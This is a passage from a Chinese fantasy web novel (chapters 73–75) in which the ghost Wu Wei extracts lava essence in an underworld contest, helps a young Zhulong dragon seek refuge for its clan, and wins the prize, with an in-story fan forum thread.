“这样提起出来的流心是最纯粹的,像这位小哥手上的护腕上面那些花纹,就是用这种方式提取的。”
敖琛指了指吴烬,“当然,坏处是比较危险,虽然避水珠对岩浆也有一定作用,但若是呆的时间太长,它会承受不住碎裂,所以一定要及时离开。”
“另外,流心到底能量过于炙热,有许多鬼承受不了,有可能会被反向炼化。”
敖琛说到这,看了看两人,“不过你们灵魂强度足够,应该不至于。尤其是小灵儿家的崽,有功德护体,就算暴露在岩浆里一时半会儿也不会出事。”
“……我叫吴惟。”
吴惟忍了又忍,最后还是忍不住报上姓名。
“好好,小惟崽。”敖琛憋笑。
其实敖琛知道来着,毕竟婴灵没事就爱在群里炫,我们家惟崽balabsla…
婴灵说的没错,这孩子确实可爱,哈哈哈哈。
“哦对了,最近不是有火山要喷发了吗,每到这个时候,当地海城都会举办一些收集流心的比赛,你们要不要去看看?”
“听说这次比赛头等奖是帝流浆,这可是个好东西,不仅对于精怪和修行者有益处,就算拿去给普通人用也能治愈沉疴,延年益寿。”
“没想到这玩意居然还能流传下来,虽然对现在鬼魂没啥用,不过倒是挺有收藏价值的。”
吴惟愣了一下,“对精怪有益处?”
他倒是知道这个东西,毕竟作为oc人,为了自家崽子们要查不少资料,他又是做神话向的,自然不可能没听过鼎鼎大名的“帝流浆”。
回到地府之后,他“轮回”的了,记忆像是被封存了一样,变得很淡,只留下一些印记,反而是属于这个世界的记忆更加清晰。
只不过在查到的资料里,他也只知道很多精怪会在庚申夜采集帝流浆来修炼,但是具体的就不是很清楚了,它长什么样,好处是什么,使用条件是什么,都不清楚。
敖琛挑了挑眉,“怎么,你有认识的精怪?想去抢一抢试试?”
吴惟确实想到了孰湖。
认识动物和精怪中,他最喜欢的就是孰湖了。
不说后面孰湖对自己付出的感情,就连最初他认识孰湖也是被大姐头逼着画设。
虽说知道它肯定早就出生了,但是吴惟总是很容易把它认成自己笔下的孩子,那是他的心血,自然不一样。
“那就去抢吧,”敖琛笑着说道,“帝流浆属阴,能量很温和,无论什么样的精怪都能用。”
“嗯。”吴惟眼神变得坚定,他想为孰湖做些什么。
敖琛说他拥有功德,采集流心天然就比大多数人有优势,没道理不去挣一挣。
“走,我带你们去报名。”敖琛欣慰,站起来拍拍吴惟的肩膀,转头招呼店小二,“小二,结账,打包。”
这些都是海州特产,出去就吃不到咯,他之前刻意点这么多,就是想给崽子们准备点零嘴,可以路上吃。
反正大家都有空间:)
“好嘞,客官您稍等。”
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73.第 73 章
火山爆发在地表来看,大多是从地下瞬间喷涌而出的,是向上的。
但由于地府与人间刚好相反,以地心为天,火山爆发形成的过程自然是从上而下。
原本悬于“天空”的红色太阳,受到更下层的压力,瞬间挤出岩浆室,顺着管道奔涌而“下”。
飞流直下三千尺,疑是大日落九天。
红色瀑布落下,众鬼纷纷驾驭着避水珠冲进岩浆内,谁也不愿意晚上一步。
避水珠本身的特性就有避开液体的特性,并不会被冲击力击飞,否则就会有吴惟当初落水的情况出现了。
吴惟两鬼各持一驾碧水珠,随着鬼流进入岩浆内部,其间温度瞬间升高,确实热的让鬼有些难以接受。
好在吴惟有功德护体,吴烬也曾经遭受过业火的炙烤,两鬼很快就习惯了这种温度,开始各自提取起了流心。
随着高温渗透进避水珠的流心呈现在吴惟眼前是五颜六色的光团。
提取流心说难不难,其实就是把金色的光团从中间挑出来,只不过这个过程不亚于挑草鱼的刺,还不能粘连鱼肉。
没点耐心大概是会抓狂的,好在吴惟常年细化火葬场,倒也习惯了,沉下心来慢慢挑刺。
根据敖琛的判断这次岩浆从爆发到冷却大概会有一个月左右时间,吴惟二人需要在这一个月内,尽可能地提炼纯度最高的流心。
好在提炼的过程一般不太担心被鬼打扰。
虽说是一根管道,但其实岩浆范围还是挺大的直径大概有几百米了,而避水珠只有人类手掌那么大,可以说岩浆内部挺空旷的,几乎看不到鬼。
但凡事都有例外,吴惟觉得无论如何都最好一上来就拼尽全力,尽可能多的提炼,并且远离吴烬。
毕竟自己是个什么狗运气他再清楚不过了,离远一点至少真出什么事了,不会耽误他。
起初吴烬是不同意的,但吴惟执拗起来让人实在坳不过,好在以他现在的实力,其实也没什么可担心的。
是以这两人进岩浆内部就分开了,只是没有离得太远。
果然如吴惟所料,在他提炼流心的一年后,也就是人间历一天的时间,他被一条龙吞到肚子里了。
吴惟:“?”
这是什么玩意?他好像看到了烛龙?不确定,但在人肚子,里看不到了。
这龙身形不大,大概也就两米的样子。
顺着岩浆飞出海面,转瞬便飞到了云层上。
小龙的速度很快,只用了不到一天时间,便在整个华夏上空盘旋了一遍。
它有些疑惑地歪了歪脑袋,似乎有什么东西找不到了。
它停顿了一会儿,降落在一处看起来植被茂密的地方,随便找了个山洞钻进去。
小龙小心翼翼吐出刚刚吞下的珠子,这是它顺着岩浆出来的时候发现的。
这颗珠子亮闪闪的,特别漂亮,因为走的急,它顺口就吞了下去,应该没有损坏吧。
吴惟被吐出来之后,人都恍惚了。
这就是烛龙吧,不然体内应该没有这么多流心,完全不亚于岩浆之中。
没错,反正也出不去,吴惟挺心大的就提炼起来了。
毕竟遇到的事多了,水来土掩嘛,不然还能咋滴:)
他就是个大冤种!
一张放大的龙脸怼到吴惟面前,金色的虹膜晶莹剔透地仿佛岩浆的结晶。
吴惟从避水珠中飘出,金色也随着他的灵魂飘了出来,小龙这才发现,亮闪闪的不是珠子,而是人类鬼魂。
小龙就这么盯着他。
吴惟实在绷不住了,试探着开口:“你好?”
小龙从鼻子里轻轻喷了口气。
吴惟:“……”
救命,谁来告诉他龙喷气是开心还是生气?他只知道马是开心,龙是真不知道啊喂!
吴惟没办法,只能试探着伸出手,看看小龙是个什么反应。
谁知道它就这么蹭上来了!还是用角蹭的!
龙的角很敏感,除了平时表达喜欢之外,它还是一个用来感应的器官。
龙打架前试探的招式往往是用角去顶对手,是因为一但角贴上对方,就能感应出来对方的实力。
这个人类很厉害,不知道能不能解决它的问题。
最近地心活动总是不感觉不太正常,家里长辈没办法,把它放出来希望它可以向天庭求援,可他刚刚飞了一圈没有看到天庭啊。
小龙把疑惑通过龙角传达给吴惟。
吴惟:“……”
不是等等,你还在天空飞了一圈?!
完犊子,人间网络不能看了?
吴惟只想捂脸,但事情已经发生了,只能祈祷人间特事局那群人能控制住舆论吧。
也好在这条小龙个头小,应该不至于太夸张。
吴惟把现在人间情况大概和小龙说了一下,小龙顿时急了,“那怎么办!我的家人都出不来!”
吴惟沉默了,按照小龙的说法他大概能猜出来,正是因为躲在地下,上层有地脉遮掩天机才让它们能够存活下来。
烛龙毕竟太过强大,天道不可能在满天神佛都轮回的当下,让烛龙一族独活。
他只能先安慰一下小龙,“你先别急,也许不是没有出路。”
小龙慢慢安静下来,盯着吴惟,等他说出路。
吴惟思忖了一下问道,“我能先了解一下你们族里到底是什么情况吗?以及还能支撑多久?”
“前辈们身体不知道被什么侵蚀了,一直在退化,意识会随着身体退化渐渐磨损,等退化道一定程度就会彻底醒不过来,我也不知道他们能支撑多久。”
“现在好多前辈都用沉睡去抵挡侵蚀,但也只是减缓罢了。”
“意识?”吴惟愣了一下,“那你们能够意识脱离身体吗?”
“不行,岩浆太热了,没有身体保护灵魂根本活不下去。”
“那让你的族人寄存到你的身体里带它们出来呢?”
“为什么要出来?”小龙不理解,它们习惯了依靠身体的强横,压根不会去想灵魂为什么要脱离肉身。
“你的族人不是不能离开岩浆吗?”
“对呀,他们体型太大了,如果不是我天生残缺长不了那么大,也出不来的。”小龙说到这里有着落寞。
“所以呀,想要保护他们的意识,就需要带先灵魂出来,让身体先沉睡着。”
“这只是权宜之计,至少先活下来才可以想以后的事。”
“你说的有道理!”小龙点头,“那你跟我回去好不好,我不知道怎么和长老们说。”
“这…你能确保我在地心不会化掉吧?”吴惟犹豫,毕竟岩浆里就够烫了,更别说越往地心压力越大,他都不知道自己能扛得住不能。
小龙拍着胸脯保证,只要呆在它肚子里就没问题,它有办法让他和长老们交流。
话都说到这个份上了,吴惟自然不会拒绝。
“对了我叫璃,你叫什么名字?”
“吴惟。”
璃含着避水珠冲进岩浆里,顺着通道回到了地幔,它长吟一声,岩浆翻滚起来,吴惟忽然感觉到有什么东西靠近了。
当璃再次睁开眼睛,吴惟借助它的双眼看到了周围的环境。
烛龙的视角和人类不一样,仿佛开了广角一般,视野扩大到一个极致。
但两边更加清晰,中间模糊,甚至能看到前方的鼻子。
虽然人类身体也能看到鼻子…
说起这个他就想吐槽,他鼻子不是很高,睫毛不是很长,眼窝也不深,但总是觉得它们挡视线,甚至有时候还能看到脸颊。
就请问那些普世意义上帅哥,他们是怎么习惯的。
现在感受着长吻部的遮挡,吴惟下意识侧过头用一只眼睛去看。
不是,等等,他怎么觉得他能够控制视角了?
璃感受到他的疑惑,在心里说道,“我把身体共感给你了,你也可以操控哦。”
吴惟:“!”
好厉害啊,当初他和婴灵用同一个身体的时候还是交替着使用的。
靠近的东西电光火石间来到他面前,那是一个庞然巨物,比他要大好几十倍。
那庞然巨物一转身,用一只巨大的眼睛只是着他们。
“好大啊,这是你们烛龙一族正常的体型吗?”
“是哒,可惜我长不了这么大。”
“你要这么想才对,正是因为体型小,你才可以离开岩浆,为族人争取一线生机不是吗?”
“嗯,你说的对!”璃被吴惟安慰到了,很开心,
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高高兴兴爬上眼前烛龙的角,盘了上去。
烛龙的灵识比小龙和吴惟都要强,刚刚的对话被它毫不费力地捕捉到了,它有些惊讶。
人类虽然花言巧语,但一般都很慕强,竟然会有人耐心地去安慰这只有两米的小龙,是做给它看的?
果然人类都是奸诈的,烛龙警惕性瞬间提高。
“精神链接已经建立好啦,惟要和长老说什么可以直接说哦,它听得见的。”
吴惟点点头,有些不知所措,脑子一片空白,憋出来一句“你好”。
烛龙看他这反应,差点破功,还以为来了个什么奸诈的人类军师,没想到这么呆。
吴惟无奈叹气,果然不管多少遍,他都没办法应付陌生人。
算了,社恐有社恐的交流方式,他没有废话,直接抛出人间的情况和自己给对方提议。
“你的意思是我们的存在碍着天道了?”烛龙很不爽,人间那些天神不知道到了什么过错遭受清算,凭什么倒霉的是他们?
人间诸神被清算无外乎过度索取,触碰到规则底线。
烛龙虽然在地底,不清楚地上的情况,但它活得足够久,又有记忆传承,自然能推算出是怎么回事。
吴惟叹了口气,以他“轮回”的经历来看确实如此。
“虽然本身和烛龙无关,但一个世界的存续是需要平衡的。”
“轮回”虽然是假的,连世界形成都和人类集体意识有关,但有一点是所有世界的共性,天道需要平衡,世界正常运行也是如此。
这条底层逻辑,是来自现实世界的,或者说所有世界都拥有的底层逻辑都是和现实世界共通的。
“抱歉。”吴惟知道自己有多渺小,没有资格替谁道歉,但烛龙的苦难来自于人类,他内心还是很愧疚的。
虽然正常来说烛龙也和其他龙族一样没有看透人心的能力,但抵住角的时候则不同,现在吴惟在它眼里就是个透明人。
它能感受到这声道歉的真心,也明白他的提议没有任何私心我,完全是在为它们考虑。
“你认为地府能接受我们?”
这个吴惟不敢打包票,毕竟他不是决策者,但他可以帮它们争取,以他对蒂夫的了解,只要不是无理的要求她们都会愿意帮上一帮的。
就算不为别的,地府建设也是需要功德的,收留这么多无家可归的灵魂也是大功德一件,地府肯定不会错过。
现在可以肯定的是,这条路行得通。
地府有轮回庇护,而且烛龙最强的躯壳被它们留在岩浆底部,若是他们放弃肉身躲进地府,天道是不会为难他们的。
“行,我可以帮你说服其他长老,但是我要你去替我们争取一块可以自治的地盘。”
“你们接受领地在大荒吗?”
“大荒?”
“就是未开发地段,我想以你们的能力开发一块新的地盘不难。”
“地府现在已经建立起来的鬼城人口都不少,而且基本都是有接受当地人民的职责的。”
“直接划给你们一块不太现实,换做是我也不会给。但如果能够另外清理出一块地盘,作为你们的领地就不会有这个问题了。”
虽然听起来很流氓,地府什么都不干,却多一个烛龙治下的领地,其实不然。
语言契约是有效用的,只有地府承认了,才会被划为轮回管辖的范围,它们才能真正不受天道的针对。
烛龙会意,“可以。”
它用尾巴卷起一块龙鳞,塞进小龙怀里,那龙鳞需要小龙用半个身子才能卷起。
“这个是见面礼,事情办好了另有报酬。”
感受着龙鳞之中的地心之力,吴惟呆住了,这给的是不是给的有点太多了?
烛龙没理他,一尾巴把小龙扔出了地心,依旧是之前离开的那个岩浆口。
他之前从吴惟杂乱的意识里读到了他需要这个东西,它们地心最不缺的就是流心了,给他又何妨。
这孩子本身就心思诚挚,就当是奖励了,更何况有了甜头办事才卖力不是吗?
虽然它们一族很久没有接触外界了,但正常的人情往来,它可比这小娃强。
啧,见面说个“你好”都要纠结半天,真不知道怎么在奸猾的人类族群生活的。
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74.第 74 章
小龙是实体的,没有办法进入地府,它并没有虚化自身的能力。
当初腾蛇也是因为和后土娘娘建立契约才会有这样的能力的。
等等,腾蛇?之前腾蛇不是在他肩膀上吗?
“小惟惟,你终于想起我来了。”一道幽怨的声音在吴惟耳边炸响,吓了他一跳。
吴惟:“抱歉。”
从小龙把吴惟刁起来的时候,它就变成一只笔,进入吴惟的意识中了,所以连烛龙都没注意到它的存在。
“那个,我刚刚说的…”
在正主面前说要替别人怎么怎么样的,总觉得有点羞愧。
“说得很好!”苍鼓掌。
腾蛇虽然没爪子,但它可是有两对翅膀,用小的那对翅膀鼓个掌自然不在话下啦:)
吴惟:“?”
“年轻人想法很好,我觉得她们会同意的。”苍坚定有力的给了个肯定,又问道,“不过你要怎么处理这条小龙的身体?”
“它无法虚化,只能藏在人间。”
吴惟也是有点愁,玄门他知道位置的只有夙家姐弟,但现在这个时间点应该已经开学了,他们在学校也不方便。
特事局那边不是他不信任,主要是自己那个肉身在那边当顾问,谁知道会不会让他碰上,这运气可不敢赌啊。
至于其他人…要不他去找司令?毕竟他也知道这些事,应该更好接受吧?
当领导的心脏应该很强大,但他这样闯军区会不会有点…嗯…
“那个,我会化形的…就是可能会差点。”璃小声说道。
吴惟眼睛一亮,无论如何,人的形象好办事啊。
然后,吴惟就得到了一个二头身,红发金眸,长着龙角和尾巴的人类身体。
吴惟:“……”
当他没说。
得,还纠结什么纠结,反正都现身过了,直接飞吧。
再说这可是龙,哪个华夏人不爱龙!他还能被打下来不成?
吴惟指了个方向,璃冲天而起,很快飞到了川省。
军区很好认,至少对于他们这群不科学的玩意来说是这样的,只要你能找到正气最充足的地方,那里不是政府机构就是军区。
当然,一般来说军区要比政府机构大很多,而且还在山林里,吴惟控制着身体显露身形,在空中盘旋一圈,发出一声长吟。
.
常有为最近有点秃,西南那边有个神经病国家,重度龙控。
因为他们这边有人拍到龙上传到外网上,他们各种要求交出他们的神明。
常有为:“?”
你们不要太离谱了!
这帮人要不是还有点理智知道自己打不过,甚至差点打上门来,简直有病。
他们这边派了不少玄门人士去找,至今没有找到,说实话要不是吴惟不在他都想放吴惟去探探了。
事故体质这个时候格外好用,可惜现在那个是个假货,哎…
人在司令部坐着,忽然接到一个来电,“你说什么?龙飞到咱们上空了?”
刚问完,一声龙吟响彻天际,常有为赶忙打开窗户往天空望去,之间一条小小的龙,在天空上盘旋,一点一点试探着慢慢往下降。
“都别举着枪!”常有为喊了一句,就往外跑。
这龙的样子像是来是来找他们求助的,小动物有时候很聪明,更何况是龙。
见过孰湖的常有为对此接受良好。
小龙慢慢降落到常有为面前,试探着游向他,警卫员捏紧枪,有些紧张。
常有为相比而言放松许多,跟孰湖和小狐狸相处过一段时间,他大概能看出来一点精怪的行为代表的意思。
就像它现在试探的样子,就是在释放有好的信号,并且对你很信任,希望可以得到你的帮助。
常有为蹲下身来,“小家伙需要帮忙吗?”
吴惟松了口气,常叔果然靠谱,没把他当什么奇怪的东西处理了。
“常叔,是我。”
常有为呆了一下,谁会叫自己常叔?难道?
常有为露出不可置信的表情,“小惟?”
“嗯。”小龙点头。
常有为直接遣散周围士兵,带着小龙回屋。
“你怎么变成这样了?”常有为装凶,“还跑出来吓人,你知不知道现在网上都翻天了?”
本来只有两米的小龙,飞得高,离得远,也不至于被那么多人发现。
奈何这小龙不会隐藏,还是个胆子大的,没有躲着奇奇怪怪的铁疙瘩,被飞机上拍云的乘客刚好录了下来。
镜头高清,明显能看出龙的特征。
“对不起。”吴惟低头,璃把头低的更狠了,“对不起,是我的错,不要怪惟。”
常有为有些惊讶,“你这是?”
又一体双魂?还不是之前那个判官?语气都不一样。
吴惟大概解释了一下之前的事情,有些不好意思地说道,“所以现在需要叔帮我保管一下阿璃的身体。”
“我实在不知道找谁,似乎只有常叔这里最安全了。”
“行啊,”常有为笑了,他就喜欢小辈信任的感觉,不过他还是有些担忧,“那你的身体?”
“快了,等我把阿烬的身体做出来,就去会会那个家伙。”
“常叔放心好了,我现在的修为应该不比那个小神差。”
“嗯,惟很厉害的!”璃疯狂点头。
“好好好,知道了,”常有为笑道,“早点回来啊,叔还有事需要你帮忙呢。”
“好的。”
事情谈完了,苍从吴惟的意识里飞出来,稍稍变大一点,抖了抖翅膀,对吴惟说,“行了上来吧,小爷带你们回去。”
常有为惊诧了,这怎么又来一条龙,吴惟这小子,龙缘好深厚啊!
这么说他们国家现在有两条龙了?这要是让那群抢龙的知道不得疯?
“常叔,那我们先走了。”
“好的好的,再见,有空带小伙伴来玩啊。”常有为笑眯眯看着小小腾蛇,心里已经盘算起以后要怎么在那个神经病国家面前炫耀了。
就是要杀人诛心。
腾蛇随便找了条河进入地府,一人两兽直接找到沅柩把这件事说了。
地府鬼神一向同气连枝,这些事报给谁都一样。
沅柩:“……”
“你小子这么久不见,直接给我搞个大的是吧?”
婴灵这到底是养了个什么搞事机器啊?前脚才送走天魔,这才刚半年吧,又来?
“行吧,你走吧,这事我会上报的。”
“麻烦沅先生了。”
沅柩抿唇一笑,用扇子勾起吴惟下巴,娇笑道,“叫什么先生?叫姐姐。”
吴惟突然想起这人捏婴灵脸的样子,面色一僵。
救命,这里有怪阿姨…不对他现在不是成年体吗?
“行了,不逗你了,赶你的场子去吧。”沅柩收回手,朝他挥了挥,没再说什么,转身就走。
苍幸灾乐祸,“你小子在地府挺受欢迎的嘛。”
吴惟面无表情道:“我在人间也很受欢迎。”
天知道他看到顾六六一屋子他的手办就觉得天塌了,鬼知道那群人怎么折腾自己的。
尤其是那个神需要愿力,会不会直接顺势进娱乐圈了?每每想到这些,吴惟都会觉得这个身体他是非要不可吗?
他是非要活过来再社死不可吗:)
但是没办法,事情总要解决的,还是让他先装一段时间死人好了。
吴惟鸵鸟似地将脸埋在腾蛇背上摊得彻底。
“你睡会儿吧,蜀州距离海州太远了,最少得飞五天。”
“嗯。”
吴惟闭上眼睛意识就陷入了沉睡。
一段时间跟赶场一样跑,他也很累了,尤其是一年不眠不休地提炼流心,可以说身心俱疲了。
若不是还有一口气撑着,是真受不了一点,天知道他一个咸鱼,本来都接受自己已死的事实准备躺平养老了,怎么突然就多了那么多任务呢。
鬼也经不起那么折腾的,他现在需要一个精神治疗!
朏朏跳上他的膝盖,蹭蹭胸口,“惟惟你好久没来找我玩了。”
吴惟有些愧疚,确实上次之后就没来了,“对不起。”
朏朏笑了笑说道,“好啦,我知道你不是故意的,最近很忙吧?”
“嗯。”
“那就好好休息一下吧,”朏朏指挥大树用藤蔓捞起吴惟,把这一人一兽一起塞到树干里。
很快,吴惟就觉得眼皮子沉的抬不起来了。
.
一觉睡了五天,吴惟醒来的时候只觉得神清气爽。
“呦,被小猫崽子绑架了?”苍揶揄道。
吴惟老脸一红,最近似乎老是被各种东西绑架,咳。
吴惟
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没理他的揶揄,直接到活动的主办方把龙鳞和收集到的流心上交了。
虽然说是上交,实际上只是评选过程,等结束之后大部分还会返还的,主办方只从中收取百分之一为报酬。
不过这百分之一也不少了,毕竟报名的基数还是不小的。
如今已过去了有二十多天了,已经有不少选手坚持不住返回了,自然也有不少人看到吴惟。
其实他在外面时间不长,收集流心用了一天,后面两天被某小龙带着跑。
再之后就是下地心,回来直接找了常有为,加上回来的时间一共也就六天。
但是在地心时间流速非常缓慢,别看他只是和烛龙说了几句话,但就是那几句话,外界已经过去了十几天时间。
吴惟大致看了一下,其实光论他收集的那部分就已经远超所有人了,更别提龙鳞,看来这波果然稳了。
他收集流心的时候,自身时间过的非常快,1:365了,这让吴惟发现了一件很神奇的事。
他似乎对于时间这方面有一点心想事成的能力,就像他最开始来的时候在客栈等待,并没有等待很久,时间好像一瞬间就过去了。
他踏上旅途,列车在他刚刚欣赏完奇景,心满意足的时候就到站了,以及后面很多例子,都能说明他的掌控力很强。
但是吴惟自身并没有实感,只是串联起来想想,才会发现这件事。
不过这是好事,没必要太过在意。
他不打算再下岩浆里,这几天就在城里好好休息一下,体会一下海城的风土人情好了。
他确实已经好久没有好好休息,好好玩儿一玩儿了,幽冥网同样好久没有更新了。
他和敖琛打了声招呼,最后几天在各大海城逛了逛。
海城的特色确实和其他鬼城差别很大,虽然之前听敖琛说过,但自己逛的感觉就是不一样。
鬼城就是海州网络的连接点,站在中心的海城城墙上,放眼望去都是各种各样的游鱼,仿佛到了水族馆一样。
而骑着鱼车的感觉和在鬼城观看又不一样,若是让吴惟来形容的话,就是站在田埂上看油菜地。
而水族也不在乎被看,他们在海洋生活,本身也就没什么隐私意识,自然不会觉得哪里不舒服。
地府的水族和人间还有不同,它们在人间活着的时候会有食物链上的关系,但在地府则不然。
魂体是无法通过吞噬魂体壮大自己的,所以它们之间不存在竞争,没有了食欲,反而一派安好。
你可以在这里看到很多平时见不到的海洋生物,甚至鲛人。
没错吴惟看到了鲛人,它们和孰湖一样,只是一部分长得类人,但语言不通,性情和行为模式也与人类不同。
它们喜欢住在贝壳里,平日里开心了唱歌,不开心了也唱歌,歌声能够反应它们的心情。
鲛人是个很神奇的种族,它们的泪腺发达,但和大多数生物不同的是,它们表达开心或者喜欢才会掉眼泪。
它们会把眼泪做成饰品送给让它落泪的人或者生物。
当然这里的喜欢倒不至于上升到爱情层面,更多的是欣赏它们认为美的东西。
有时候甚至路边的小花若是让它们感受到愉悦,它们也会送出珍珠以示喜爱。
众所周知,鲛人的眼泪就是正儿八经的小珍珠,而这种珍珠也是一种能量的表现形式。
珍珠里面甚至蕴含少许祝福,如果对象不适合这种装饰品,也可将其化开,作为送出对象的养料存在。
以至于不少人喜欢在鲛人领地附近逛,期望可以收到鲛人的礼物。
吴惟去一了趟鲛人的自治区,收获了一大堆珍珠制品,人都快麻了。
不收不行,太热情了。
苍在一旁疯狂嘲笑,“可以可以,小惟惟,你在人鱼面前貌比潘安,这叫什么来着,掷果盈车,你这是掷泪盈怀哈哈哈哈…”
吴惟冷漠说道,“至少我不是它们用琴砸的那个。”
被琴砸的那个,指苍。
多年前他们都还活着的时候,不知道苍作过什么,在鲛人的国度惹了众怒。
它们精怪都有传承记忆,传承记忆让它们可以生生世世记仇,而鲛人恰恰是那种很记仇的性格。
苍瞬间不笑了。
小朋友,你很嚣张你知道吗?
吴惟心情好了,笑容这东西从来不会消失,只会转移。
.
75.第 75 章
“哥。”
吴惟老早就等在活动举办地的广场了,现在已经是最后一天了,吴烬才刚现身。
吴惟本身就是个不大不小的名人,再加上这次流心收集的量多的有些变态,四周有不少人正在观察他。
吴烬甫一出现,直接吸引了所有人的视线。
“回来了。”吴惟没感受到那些人视线,笑着朝吴烬挥了挥手。
幽冥网,无相小论坛炸开了锅,无相是吴惟不知道的时候粉丝们给自己取的名字。
曾经她们纠结过是无相还是有道,有话语权比较高的人拍板了无相这才定名。
#原来小先生还有胞弟#
[家人们谁能理解我,我好像看到小先生的胞弟了,谁来打醒我]
[什么,小先生还有胞弟?长得一模一样?]
[除了有两颗泪痣,没有朱砂,头发是白色,眼睛是红色以外其他一模一样]
[白发红眼,我有种不好的预感]
[别预感了,入过魔的,不过想想小先生那张脸,配白发应该也挺好看的]
[我看他现在的样子不像入魔的,应该已经没事了,还好还好,不然小先生心那么软,亲人出事他不得心疼死]
[我觉得也是]
[不过这兄弟俩站一起真好看啊,是不同的风格,哥哥像悲悯的神官,弟弟像江湖侠客]
[楼上有种放图,别逼逼!]
[没种]
[我来我来,嘿嘿 #图片# ]
[……]
[你们没事只知道嗑颜嘛,只有我注意到这兄弟俩实力强到变态好嘛]
[发生什么事了?]
[最近海州不是又有熔岩瀑布了嘛,他们参加了这次的流心收集比赛,哥哥几天前就回来了,直接空降榜首,积分甩第二名十几倍,弟弟今天最后一天刚回来,空降榜二,比第三名,也就是之前的第二高出一倍多]
[?不是等等,这是我知道的流心]
[这个我知道,因为他们提纯的都是纯度最高的,按照积分最高的算,数量又非常多,小先生甚至拿出了一片烛龙的龙鳞]
[擦,这不算作弊吗,世间早就没有烛龙了,龙鳞是又可以保存很久的,谁知道它是从哪来的]
[楼上,我是主办方的,小先生拿出来的龙鳞是刚拔下来,新鲜的,流心没有半分流失,而且别说龙鳞了,就算是他用避水珠采集的流心,也只比他弟弟少一点点]
[???所以说现在还有烛龙的存在?]
老龙我啊:[是呢,小家伙肩头趴了两条龙,一条腾蛇一条烛龙,没想到吧]
[什么什么?那条红色的是烛龙?]
老龙我啊:[对呀,只不过那么小的还是第一次见]
[不是楼上,你见过大的]
老龙我啊:[咳,不才海州城隍^-^]
众所周知,海州城隍是一条很古老的龙,或者说是人类最熟悉的,常规意义上的龙。
[!!!]
[前排合影!]
[好家伙,大佬站在当事人身边,脑子里疯狂刷本人八卦,就问小先生是什么感想]
[没有感想,他不知道,笑死]
老龙我啊:[你们小先生很可爱^-^]
[我当然知道他很可爱了,有种放图]
[说起来小先生这就长大了,这才过去多久]
[毕竟他本来就成年了呀,只不过魂体受损才会缩小]
[但是这速度有点太快了吧]
老龙我啊:[就你家小先生每次出门必出事的体质,想不恢复都难]
[大佬,你是怎么做到一心二用,和小先生说着话还能聊天的]
老龙我啊:[你猜]
[原来他在地府也不安生,到处“惹事”嘛,怜爱了,话说都碰到了啥事,不能分享一下嘛]
[小先生他龙缘好强啊,这都三条了]
地府活地图:[腾蛇不是龙,望周知]
[没关系,都算到一起方便,再说龙听着好听嘛]
地府活地图:[再说一遍,腾蛇不是龙!!龙好听个屁,只有你们人类才捧龙的臭脚!]
老龙我啊:[怎么是臭脚了,脾气这么爆,难怪人类不喜欢你]
地府活地图:[敖琛!你想死吗?]
老龙我啊:[嘻嘻嘻有种你来打我,别只敢在小家伙肩膀上抖尾巴]
[嘶,居然碰到本尊了,神仙打架,大气不敢出…]
[……]
腾蛇要气死了,疯狂抖尾巴,都快抖成响尾蛇了。
这么大的动静吴惟当然注意到了,轻轻挠了挠它的下巴,问道,“怎么了?”
腾蛇情绪一滞,歪头盯着吴惟,过了一会儿,把脑袋扎进他脖子里,在幽冥网上逼逼。
地府活地图:[呸,谁理你,我有人类能吸,你有嘛,哼]
[噗…好家伙,真的好家伙,原来腾蛇喜欢吸人类吗?]
老龙我啊:[???苍不是你什么时候这么不要脸了?!]
[呵呵…]
[精怪倒也不是所有人类都吸,但是小先生很好吸]
[?楼上是精怪现身说法嘛]
[是哒,我是鲛人,小先生前两天来我们部族玩,大家都很喜欢他,眼泪掉的有点多,没有都送给他,好可惜哦]
虽然语言不通,但是地府的精怪也是可以上网的,并且因为是意识直接连接,所以在网上接收和发送的内容是能够自动翻译成自己理解的语言的。
[眼泪?]
[楼上我去玩过,听说鲛人见到喜爱的事物才会掉眼泪,和咱们人类不一样]
[好神奇]
[小先生也太受欢迎了吧]
[不难理解,大功德者本身就容易让人亲近,更何况直觉更敏感的精怪呢]
[确实如此]
[……]
比赛已经结束,吴惟在众人见证下,拿到了自己的奖励,帝流浆。
第二名的奖品是一把伞,这把伞是黑金的,伞面整体是黑色,符文主材料就是流心,看起来大气沉稳。
吴惟很想感叹一声,黑金赛高!
伞作为鬼魂的法器,一般是在人间,庇护魂体所用,这把伞是主办方现场炼制出来的,主要功能是对抗大荒的地脉。
当然,因为它可实可虚,也是可以在人间使用的,实体化之后也可以挡住清气的同化。
还挺实用。
之前人多,吴烬一直没有问他哥,肩膀上怎么多了一条龙,现在活动结束,回到敖琛府邸他这才问出口。
吴惟大概解释了一下之前遇到的事…嗯,他怎么感觉这几天一直在解释。
有种淡淡的无力感。
吴烬的有同感,他哥这遇事概率是不是有点太高了啊!
不过哥哥真厉害,只用了一天就采到了跟他差不多的数量。
“是一年!”
“那也很厉害了!”
吴烬在里面也呆了差不多也一年多的时间了,地府有可以和人间历同步的法器,自然是不需要担心自身时间不对的情况。
“嗯,惟惟厉害!”璃附和道。
“接下来做什么?”吴烬问道,他们应该还差一颗内丹。
“先歇两天,看看有没有什么可以和精怪交换的渠道。”
“可以去问问琛叔。”
吴惟虽然社恐,但熟人面前一般还是放得开的,尤其是长辈面前。
敖琛听了这件事后,开玩笑说道,“之前烛龙不是说会给你报酬嘛,不行你跟他们要。”
吴惟:“……”
这怎么行,之前烛龙长老给了他那么大块龙鳞,他都有些不好意思了,怎么能再要人家东西。
敖琛却不在意,“龙鳞对于龙族来说不是什么稀罕物,掉了很快就会再长,跟你们人类的头发一样。”
吴惟不这么觉得,毕竟龙鳞是连着肉的,拔下来肯定会疼,更何况对他用处不小呢。
“行了别想了,先干活吧。”敖琛看他纠结,没再说什么,反而转移话题,“你上次让沅柩带的话,我们全票通过了。”
“你去蜀州带回小龙的身体,走西北那边的火山回地心,去请烛龙,西北那块地多火山,他们应该很喜欢。”
至于为什么那边也产流心,却没什么人去那边采集呢?
主要还是因为地广人稀,还没什么很强的精怪。
哪怕有不少外来人口,那边的开发也还不够很多火山地区还是大荒,根本进不去。
烛龙在那边刚好可以施展拳脚。
吴惟点头应下,找内丹的事可以先放放,他的事不怎么急,反正还有小半年,反而是烛龙那边越快越好。
苍轻车熟路载着两人一兽从之前离开的水域钻出来抵达司令部,吴惟不得不感叹它方向感是真好,地脉的干扰在它眼里几乎不存在。
那两米多的小龙壳子被藏在地下基地,司令直接带他们下去了。
吴惟:“这是我能知道的吗?”
常有为:“没关系,你本来就是自己人。”
何况他们基地不少,这个基地本身不是那么重要的基地,不然他也不会放到这里了。
